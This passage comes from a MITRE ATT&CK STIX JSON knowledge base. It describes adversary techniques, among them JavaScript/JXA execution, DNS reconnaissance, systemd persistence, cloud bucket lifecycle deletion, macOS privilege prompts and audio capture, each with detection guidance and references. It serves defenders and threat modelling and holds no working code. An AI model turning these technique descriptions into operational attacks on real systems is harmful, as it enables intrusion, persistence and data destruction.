associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_contributors":["Cody Thomas, SpecterOps"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nMonitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_version":"2.2","x_mitre_data_sources":["Module: Module Load","Process: Process Creation","Script: Script Execution","Command: Command Execution"],"x_mitre_remote_support":false,"type":"attack-pattern","id":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","created":"2020-06-23T19:12:24.924Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1059/007","external_id":"T1059.007"},{"source_name":"Apple About Mac Scripting 2016","description":"Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021.","url":"https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html"},{"source_name":"MDSec macOS JXA and VSCode","description":"Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021.","url":"https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/"},{"source_name":"Microsoft JScript 2007","description":"Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript …. Retrieved June 23, 2020.","url":"https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript"},{"source_name":"Microsoft Windows Scripts","description":"Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020.","url":"https://docs.microsoft.com/scripting/winscript/windows-script-interfaces"},{"source_name":"JScrip May 2018","description":"Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020.","url":"https://docs.microsoft.com/windows/win32/com/translating-to-jscript"},{"source_name":"NodeJS","description":"OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020.","url":"https://nodejs.org/"},{"source_name":"SentinelOne macOS Red Team","description":"Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.","url":"https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/"},{"source_name":"SpecterOps JXA 2020","description":"Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021.","url":"https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5"},{"source_name":"Red Canary Silver Sparrow Feb2021","description":"Tony Lambert. (2021, February 18). Clipping Silver Sparrow’s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021.","url":"https://redcanary.com/blog/clipping-silver-sparrows-wings/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T19:36:20.374Z","name":"DNS","description":"Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. DNS MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)\n\nAdversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).\n\nAdversaries may also use DNS zone transfer (DNS query type AXFR) to collect all records from a misconfigured DNS server.(Citation: Trails-DNS)(Citation: DNS-CISA)(Citation: Alexa-dns)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_contributors":["Jannie Li, Microsoft Threat Intelligence Center (MSTIC)"],"x_mitre_deprecated":false,"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.2","type":"attack-pattern","id":"attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea","created":"2020-10-02T15:47:10.102Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1590/002","external_id":"T1590.002"},{"source_name":"Circl Passive DNS","description":"CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.","url":"https://www.circl.lu/services/passive-dns/"},{"source_name":"DNS-CISA","description":"CISA. (2016, September 29). DNS Zone Transfer AXFR Requests May Leak Domain Information. Retrieved June 5, 2024.","url":"https://www.cisa.gov/news-events/alerts/2015/04/13/dns-zone-transfer-axfr-requests-may-leak-domain-information"},{"source_name":"DNS Dumpster","description":"Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.","url":"https://dnsdumpster.com/"},{"source_name":"Alexa-dns","description":"Scanning Alexa's Top 1M for AXFR. (2015, March 29). Retrieved June 5, 2024.","url":"https://en.internetwache.org/scanning-alexas-top-1m-for-axfr-29-03-2015/"},{"source_name":"Sean Metcalf Twitter DNS Records","description":"Sean Metcalf. (2019, May 9). Sean Metcalf Twitter. September 12, 2024.","url":"https://x.com/PyroTek3/status/1126487227712921600"},{"source_name":"Trails-DNS","description":"SecurityTrails. (2018, March 14). Wrong Bind Configuration Exposes the Complete List of Russian TLD's to the Internet. Retrieved June 5, 2024.","url":"https://web.archive.org/web/20180615055527/https://securitytrails.com/blog/russian-tlds"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Tony Lambert, Red Canary"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e","type":"attack-pattern","created":"2019-04-23T15:34:30.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1501","url":"https://attack.mitre.org/techniques/T1501"},{"source_name":"Linux man-pages: systemd January 2014","url":"http://man7.org/linux/man-pages/man1/systemd.1.html","description":"Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019."},{"source_name":"Freedesktop.org Linux systemd 29SEP2018","url":"https://www.freedesktop.org/wiki/Software/systemd/","description":"Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019."},{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."},{"description":"Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.","url":"https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a","source_name":"gist Arch package compromise 10JUL2018"},{"description":"Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.","url":"https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/","source_name":"Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018"},{"description":"Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.","url":"https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html","source_name":"acroread package compromised Arch Linux Mail 8JUL2018"},{"source_name":"Rapid7 Service Persistence 22JUNE2016","url":"https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence","description":"Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019."}],"modified":"2020-01-17T16:51:52.027Z","name":"Systemd Service","description":"Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands. \n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Systemd service unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and /home//.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.\n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: systemctl list-units -–type=service –all. Analyze the contents of .service files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAuditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as /usr/sbin/service may reveal malicious systemd service execution.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["root","User"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-16T21:27:02.481Z","name":"Lifecycle-Triggered Deletion","description":"Adversaries may modify the lifecycle policies of a cloud storage bucket to destroy all objects stored within. \n\nCloud storage buckets often allow users to set lifecycle policies to automate the migration, archival, or deletion of objects after a set period of time.(Citation: AWS Storage Lifecycles)(Citation: GCP Storage Lifecycles)(Citation: Azure Storage Lifecycles) If a threat actor has sufficient permissions to modify these policies, they may be able to delete all objects at once. \n\nFor example, in AWS environments, an adversary with the `PutLifecycleConfiguration` permission may use the `PutBucketLifecycle` API call to apply a lifecycle policy to an S3 bucket that deletes all objects in the bucket after one day.(Citation: Palo Alto Cloud Ransomware) In addition to destroying data for purposes of extortion and [Financial Theft](https://attack.mitre.org/techniques/T1657), adversaries may also perform this action on buckets storing cloud logs for [Indicator Removal](https://attack.mitre.org/techniques/T1070).(Citation: Datadog S3 Lifecycle CloudTrail Logs)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["IaaS"],"x_mitre_version":"1.0","x_mitre_data_sources":["Cloud Storage: Cloud Storage Modification"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--1001e0d6-ee09-4dfc-aa90-e9320ffc8fe4","created":"2024-09-25T13:16:14.166Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1485/001","external_id":"T1485.001"},{"source_name":"AWS Storage Lifecycles","description":"AWS. (n.d.). Managing the lifecycle of objects. Retrieved September 25, 2024.","url":"https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lifecycle-mgmt.html"},{"source_name":"GCP Storage Lifecycles","description":"Google Cloud. (n.d.). Object Lifecycle Management. Retrieved September 25, 2024.","url":"https://cloud.google.com/storage/docs/lifecycle"},{"source_name":"Azure Storage Lifecycles","description":"Microsoft Azure. (2024, July 3). Configure a lifecycle management policy. Retrieved September 25, 2024.","url":"https://learn.microsoft.com/en-us/azure/storage/blobs/lifecycle-management-policy-configure?tabs=azure-portal"},{"source_name":"Palo Alto Cloud Ransomware","description":"Ofir Balassiano and Ofir Shaty. (2023, November 29). Ransomware in the Cloud: Breaking Down the Attack Vectors. Retrieved September 25, 2024.","url":"https://www.paloaltonetworks.com/blog/prisma-cloud/ransomware-data-protection-cloud/"},{"source_name":"Datadog S3 Lifecycle CloudTrail Logs","description":"Stratus Red Team. (n.d.). CloudTrail Logs Impairment Through S3 Lifecycle Rule. Retrieved September 25, 2024.","url":"https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-lifecycle-rule/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Erika Noerenberg, @gutterchurl, Carbon Black","Jimmy Astle, @AstleJimmy, Carbon Black"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--101c3a64-9ba5-46c9-b573-5c501053cbca","type":"attack-pattern","created":"2019-08-08T14:29:37.108Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1514","url":"https://attack.mitre.org/techniques/T1514"},{"source_name":"AppleDocs AuthorizationExecuteWithPrivileges","url":"https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg","description":"Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019."},{"source_name":"Death by 1000 installers; it's all broken!","url":"https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8","description":"Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019."},{"source_name":"Carbon Black Shlayer Feb 2019","url":"https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/","description":"Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019."},{"source_name":"OSX Coldroot RAT","url":"https://objective-see.com/blog/blog_0x2A.html","description":"Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019."}],"modified":"2020-02-05T20:13:51.857Z","name":"Elevated Execution with Prompt","description":"Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","User"],"x_mitre_effective_permissions":["root"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-15T13:39:22.774Z","name":"Audio Capture","description":"An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.(Citation: ESET Attor Oct 2019)\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_deprecated":false,"x_mitre_detection":"Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["Process: OS API Execution","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","created":"2017-05-31T21:31:34.528Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1123","external_id":"T1123"},{"source_name":"ESET Attor Oct 2019","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-02-15T14:14:03.942Z","name":"Create or Modify System Process","description":"Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. \n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. \n\nMonitor for changes to files associated with system-level processes.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","macOS","Linux","Containers"],"x_mitre_version":"1.2","x_mitre_data_sources":["Service: Service Creation","Container: Container Creation","Driver: Driver Load","Service: Service Modification","Process: Process Creation","Windows Registry: Windows Registry Key Modification","File: File Modification","File: File Creation","Windows Registry: Windows Registry Key Creation","Process: OS API Execution","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","created":"2020-01-10T16:03:18.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1543","external_id":"T1543"},{"source_name":"AppleDocs Launch Agent Daemons","description":"Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.","url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"},{"source_name":"TechNet Services","description":"Microsoft. (n.d.). Services. Retrieved June 7, 2016.","url":"https://technet.microsoft.com/en-us/library/cc772408.aspx"},{"source_name":"OSX Malware Detection","description":"Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.","url":"https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-30T21:01:36.318Z","name":"External Remote Services","description":"Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_attack_spec_version":"2.1.0","x_mitre_contributors":["ExtraHop","David Fiser, @anu4is, Trend Micro","Alfredo Oliveira, Trend Micro","Idan Frimark, Cisco","Rory McCune, Aqua Security","Yuval Avrahami, Palo Alto Networks","Jay Chen, Palo Alto Networks","Brad Geesaman, @bradgeesaman","Magno Logan, @magnologan, Trend Micro","Ariel Shuper, Cisco","Yossi Weizman, Azure Defender Research Team","Vishwas Manral, McAfee","Daniel Oakley","Travis Smith, Tripwire","David Tayouri"],"x_mitre_deprecated":false,"x_mitre_detection":"Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nWhen authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","Linux","Containers","macOS"],"x_mitre_version":"2.4","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Flow","Logon Session: Logon Session Metadata","Application Log: Application Log Content","Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","created":"2017-05-31T21:31:44.421Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1133","external_id":"T1133"},{"source_name":"Volexity Virtual Private Keylogging","description":"Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.","url":"https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"},{"source_name":"MacOS VNC software for Remote Desktop","description":"Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.","url":"https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac"},{"source_name":"Unit 42 Hildegard Malware","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"},{"source_name":"Trend Micro Exposed Docker Server","description":"Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021.","url":"https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44","type":"attack-pattern","created":"2017-05-31T21:31:22.374Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1109","url":"https://attack.mitre.org/techniques/T1109"},{"description":"SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018.","source_name":"SanDisk SMART"},{"url":"https://www.smartmontools.org/","description":"smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.","source_name":"SmartMontools"},{"url":"https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html","description":"Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.","source_name":"ITWorld Hard Disk Health Dec 2014"}],"modified":"2020-10-23T15:04:14.614Z","name":"Component 